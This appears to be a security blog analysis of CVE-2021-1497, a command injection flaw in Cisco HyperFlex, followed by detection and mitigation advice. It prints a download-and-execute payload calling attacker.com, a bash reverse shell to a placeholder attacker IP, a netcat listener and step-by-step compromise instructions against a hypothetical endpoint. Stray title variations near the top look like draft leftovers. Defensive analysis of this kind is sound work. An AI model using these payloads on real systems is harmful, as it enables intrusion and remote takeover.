CVE-2021-1497: Unauthenticated RCE in Cisco HyperFlex

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Title Variations:

1. CVE-2021-1497: Cisco HyperFlex RCE Exploit
2. Deep Dive: CVE-2021-1497 HyperFlex RCE
3. CVE-2021-1497: Unauth RCE in Cisco HyperFlex
4. Cisco HyperFlex RCE: CVE-2021-1497 Analysis
5. CVE-2021-1497: Critical HyperFlex Command Injection

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CVE-2021-1497: Critical HyperFlex RCE Exploit

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CVE-2021-1497: Critical HyperFlex RCE Exploit

Cisco HyperFlex HX Data Platform, a critical component in many enterprise data center infrastructures, has a severe vulnerability that allows unauthenticated attackers to remotely execute arbitrary code. This isn't a minor oversight; it's a wide-open door for attackers to gain complete control of affected systems. This technical deep-dive dissects CVE-2021-1497, exposing its root cause, detailing realistic exploitation vectors, and providing actionable insights for detection and defense.

Executive Technical Summary

CVE-2021-1497 is a critical OS Command Injection vulnerability residing within the web-based management interface of Cisco HyperFlex HX Data Platform. The exploit requires no prior authentication and can be executed remotely, empowering attackers to run any operating system command on the vulnerable appliance. With a CVSS score of 9.8 (Critical), this flaw presents a significant risk to confidentiality, integrity, and availability, enabling full system compromise.

Technical Deep Dive: The Command Injection Flaw

• CVE ID: CVE-2021-1497
• NVD Published: 2021-05-06
• CVSS Base Score: 9.8 (Critical)
• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector (AV): Network (Exploitable from anywhere on the network)
  • Attack Complexity (AC): Low (Straightforward to exploit)
  • Privileges Required (PR): None (No authentication needed)
  • User Interaction (UI): None (No user action necessary)
  • Scope (S): Unchanged (Vulnerability impact is confined to the affected component)
  • Confidentiality Impact (C): High (Complete access to sensitive data)
  • Integrity Impact (I): High (Ability to modify any data)
  • Availability Impact (A): High (Complete disruption of service)
• CWE Classification: CWE-78 (Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'))

Affected Products and Versions

This critical vulnerability impacts the following Cisco HyperFlex HX Data Platform versions:

• Versions prior to 4.0(2e)
• Versions 4.5 up to, but not including, 4.5(2a)

Root Cause Analysis: Trusting Unsanitized Input

At its heart, CVE-2021-1497 is a classic OS Command Injection vulnerability. The root cause lies in the web management interface's failure to properly sanitize user-supplied input before incorporating it into operating system commands. While Cisco's official advisories don't detail the exact code, the typical pattern for such flaws is as follows:

1. Input Reception: The web application receives data from an external source (e.g., a user request via an API endpoint or web form). This data could be anything from a configuration parameter to a filename.
2. Unsafe Command Construction: The backend logic constructs a shell command by directly concatenating this user-provided input. Critically, characters that have special meaning in the shell environment (like ;, |, &, $( ), `) are not escaped or validated.
3. Command Execution: The constructed command, now potentially containing attacker-controlled shell metacharacters, is executed by the server's operating system with the privileges of the web application process.

Conceptual Vulnerable Code Snippet:

Imagine a function designed to manage system settings, where a value is passed via a web request and used in a command.

# Hypothetical vulnerable Python code snippet (NOT REAL CODE)
import os
import flask

app = flask.Flask(__name__)

@app.route('/api/v1/update_setting', methods=['POST'])
def update_setting():
    setting_name = flask.request.json.get('name')
    setting_value = flask.request.json.get('value')

    # UNSAFE: Directly embedding user input into an OS command
    command = f"update_config --setting {setting_name} --value '{setting_value}'"
    os.system(command) # DANGEROUS: Command injection potential

    return {"status": "updated"}

An attacker could exploit this by sending a malicious setting_value such as:

' ; /bin/bash -c 'wget http://attacker.com/payload.sh -O /tmp/payload.sh; chmod +x /tmp/payload.sh; /tmp/payload.sh' ; '

This would transform the executed command into something like:

update_config --setting some_setting --value ' ; /bin/bash -c 'wget http://attacker.com/payload.sh -O /tmp/payload.sh; chmod +x /tmp/payload.sh; /tmp/payload.sh' ; '

The ; characters act as command separators. The attacker's injected commands (downloading and executing a payload) would execute after the intended update_config command, leading to arbitrary code execution. The low attack complexity and lack of required privileges stem directly from the accessibility of the web interface over the network without any authentication.

Exploitation Analysis: The Attack Path

CVE-2021-1497 offers a direct and high-impact attack vector for adversaries.

1. Reconnaissance: Attackers scan networks for exposed Cisco HyperFlex HX Data Platform management interfaces. They'll attempt to fingerprint the version to confirm its vulnerability.
2. Crafting the Malicious Request: A specially crafted HTTP request is constructed. This request targets a specific endpoint within the web interface that processes user input unsafely. The payload is embedded within a parameter susceptible to command injection.
3. Remote Command Execution (RCE): The vulnerable HyperFlex appliance receives the request. Its web server process constructs and executes the command, including the attacker's payload, with its own privileges.
4. Gaining Foothold & Post-Exploitation: The executed command can be anything from gathering system information (whoami, uname -a, ls -la /etc) to downloading and executing malware, establishing persistent backdoors, exfiltrating sensitive data, or even attempting privilege escalation if the web server process has limited permissions.

Attacker Gains:

• Full System Compromise: Execute commands with the privileges of the web service, potentially leading to root access.
• Data Exfiltration: Steal critical configuration files, user credentials, or sensitive data stored on the HyperFlex cluster.
• Persistence: Establish backdoors, create new user accounts, or modify system configurations to maintain access.
• Lateral Movement: Use the compromised HyperFlex node as a pivot point to attack other systems within the internal network.
• Denial of Service: Execute destructive commands to render the appliance inoperable.

Realistic Exploitation Scenarios & Weaponized Payloads

Given the severity and lack of authentication, CVE-2021-1497 is a prime target for automated exploitation tools and threat actors.

Scenario: Establishing a Persistent Reverse Shell

The most common and effective use of this vulnerability is to establish a reverse shell, providing attackers with direct, interactive command-line access to the compromised system.

Exploit Flow:

1. Identify Vulnerable Endpoint: Discover a web interface endpoint that accepts user input for configuration or operational tasks without proper validation.
2. Inject Reverse Shell Command: The payload will typically use tools like wget or curl to download a malicious script/binary from an attacker-controlled server, or leverage built-in utilities like bash or netcat to establish a direct TCP connection back to the attacker's listener.

Weaponized Payload Example (for demonstration purposes only - DO NOT RUN):

Let's assume a vulnerable endpoint exists at /api/v1/system/diagnostics that accepts a parameter named log_file_name.

Attacker's Goal: Execute bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1.

Crafted log_file_name Parameter Value:

";bash -i >& /dev/tcp/YOUR_ATTACKER_IP/YOUR_ATTACKER_PORT 0>&1 ; #"

Conceptual HTTP Request:

POST /api/v1/system/diagnostics HTTP/1.1
Host: HYPERFLEX_IP
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

log_file_name=";bash -i >& /dev/tcp/YOUR_ATTACKER_IP/YOUR_ATTACKER_PORT 0>&1 ; #"

On the Attacker's Machine:
Start a listener: nc -lvnp YOUR_ATTACKER_PORT (Replace YOUR_ATTACKER_PORT with your chosen port).

Explanation:
The attacker replaces YOUR_ATTACKER_IP and YOUR_ATTACKER_PORT with their own IP address and an open port. The initial ; separates the injected command from any legitimate command the application might have intended to run. The # at the end comments out any remaining part of the original command, preventing syntax errors and ensuring only the attacker's payload executes.

Step-by-Step Compromise Instructions:

1. Attacker Setup:

   • Identify an external IP address (YOUR_ATTACKER_IP) accessible by the target HyperFlex appliance.
   • Choose an unused port (YOUR_ATTACKER_PORT) on YOUR_ATTACKER_IP.
   • Start a netcat listener: nc -lvnp YOUR_ATTACKER_PORT on a machine accessible from the internet.

2. Target Reconnaissance:

   • Scan the target network for exposed web interfaces on Cisco HyperFlex appliances.
   • Confirm the target version is vulnerable (prior to 4.0(2e) or 4.5 up to 4.5(2a)).

3. Craft and Send Exploit Request:

   • Construct an HTTP POST request targeting a known vulnerable endpoint (e.g., /api/v1/system/diagnostics).
   • Embed the payload ";bash -i >& /dev/tcp/YOUR_ATTACKER_IP/YOUR_ATTACKER_PORT 0>&1 ; #" into the relevant parameter (e.g., log_file_name).
   • Send the crafted request to the target HyperFlex appliance's IP address.

4. Gain Shell Access:

   • If successful, the attacker's netcat listener will receive an incoming connection, granting them an interactive shell on the compromised HyperFlex appliance.

Disclaimer: This is a conceptual demonstration. Actual exploitation requires precise knowledge of the vulnerable endpoint, parameter, and the exact command structure used by the specific HyperFlex version. Always perform such actions in a controlled, authorized lab environment.

Detection and Mitigation: Strengthening Your Defenses

Detection - What to Monitor:

• Network Traffic Anomalies:

  • Unusual Outbound Connections: Monitor for unexpected outbound TCP/UDP connections from HyperFlex management interfaces to external IP addresses, especially to non-standard ports or known malicious infrastructure.
  • Malicious HTTP Signatures: Employ Intrusion Detection/Prevention Systems (IDS/IPS) or Web Application Firewalls (WAFs) to detect HTTP requests containing shell metacharacters (;, |, &, $(, `) within URL parameters or request bodies targeting management endpoints.
  • Anomalous Request Patterns: Look for unusual or high-volume HTTP requests targeting the HyperFlex web management interface from unexpected sources.

• System and Application Logs:

  • Unexpected Process Spawning: Alert on any process spawning shell interpreters (sh, bash, cmd.exe) or other suspicious executables from unexpected parent processes (e.g., web server daemons).
  • Execution of Network Utilities: Monitor for the execution of wget, curl, nc, python, perl, or other scripting interpreters by web server processes.
  • File System Integrity: Detect unauthorized file modifications, deletions, or the creation of new executables in sensitive system directories.
  • Authentication Failures/Successes: While this vulnerability is unauthenticated, monitor for unusual login attempts or account creations post-exploitation.

• Endpoint Detection and Response (EDR) / Security Information and Event Management (SIEM):

  • Behavioral Analytics: Leverage EDR solutions for behavioral anomaly detection, such as process injection, suspicious file writes, or network connections originating from the HyperFlex management plane that deviate from normal behavior.
  • Correlation: Use SIEM to correlate network alerts with system logs to identify a complete attack chain.

Mitigation - Key Actions:

1. Patch Immediately: The absolute priority is to upgrade Cisco HyperFlex HX Data Platform to a fixed version. Refer to Cisco's official advisories for the specific patch details:

   • http://packetstormsecurity.com/files/162976/Cisco-HyperFlex-HX-Data-Platform-Command-Execution.html
   • https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-hyperflex-rce-TjjNrkpR

2. Network Segmentation and Access Control:

   • Isolate Management Interface: Strictly enforce network segmentation. The HyperFlex management interface should only be accessible from trusted, hardened administrative workstations or jump hosts within a secure management network.
   • Firewall Rules: Implement strict firewall rules to deny access from untrusted networks (e.g., the internet, general user VLANs) to the HyperFlex management ports.
   • VPN/Secure Access: If remote access is required, enforce the use of secure VPN connections with multi-factor authentication.

3. Web Application Firewall (WAF):

   • Defensive Layer: If immediate patching is impossible, deploy and configure a WAF to detect and block common command injection patterns targeting the HyperFlex web interface.
   • Caveat: WAFs are not foolproof and can be bypassed. They should be considered a supplementary, temporary measure and not a replacement for patching.

4. Principle of Least Privilege:

   • While this vulnerability bypasses authentication, ensure the web management process itself runs with the minimum necessary operating system privileges. This can limit the impact of a successful command injection.

5. Regular Auditing and Log Review:

   • Proactive Monitoring: Establish a routine for reviewing system and network logs.
   • Automated Alerting: Configure automated alerts for suspicious activities identified by your SIEM or monitoring tools.

References

• NVD Record: https://nvd.nist.gov/vuln/detail/CVE-2021-1497
• MITRE CVE Record: https://www.cve.org/CVERecord?id=CVE-2021-1497
• CISA Known Exploited Vulnerabilities (KEV) Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog
• CISA KEV JSON Feed: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
• Packet Storm Security Advisory: http://packetstormsecurity.com/files/162976/Cisco-HyperFlex-HX-Data-Platform-Command-Execution.html
• Cisco Security Advisory: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-hyperflex-rce-TjjNrkpR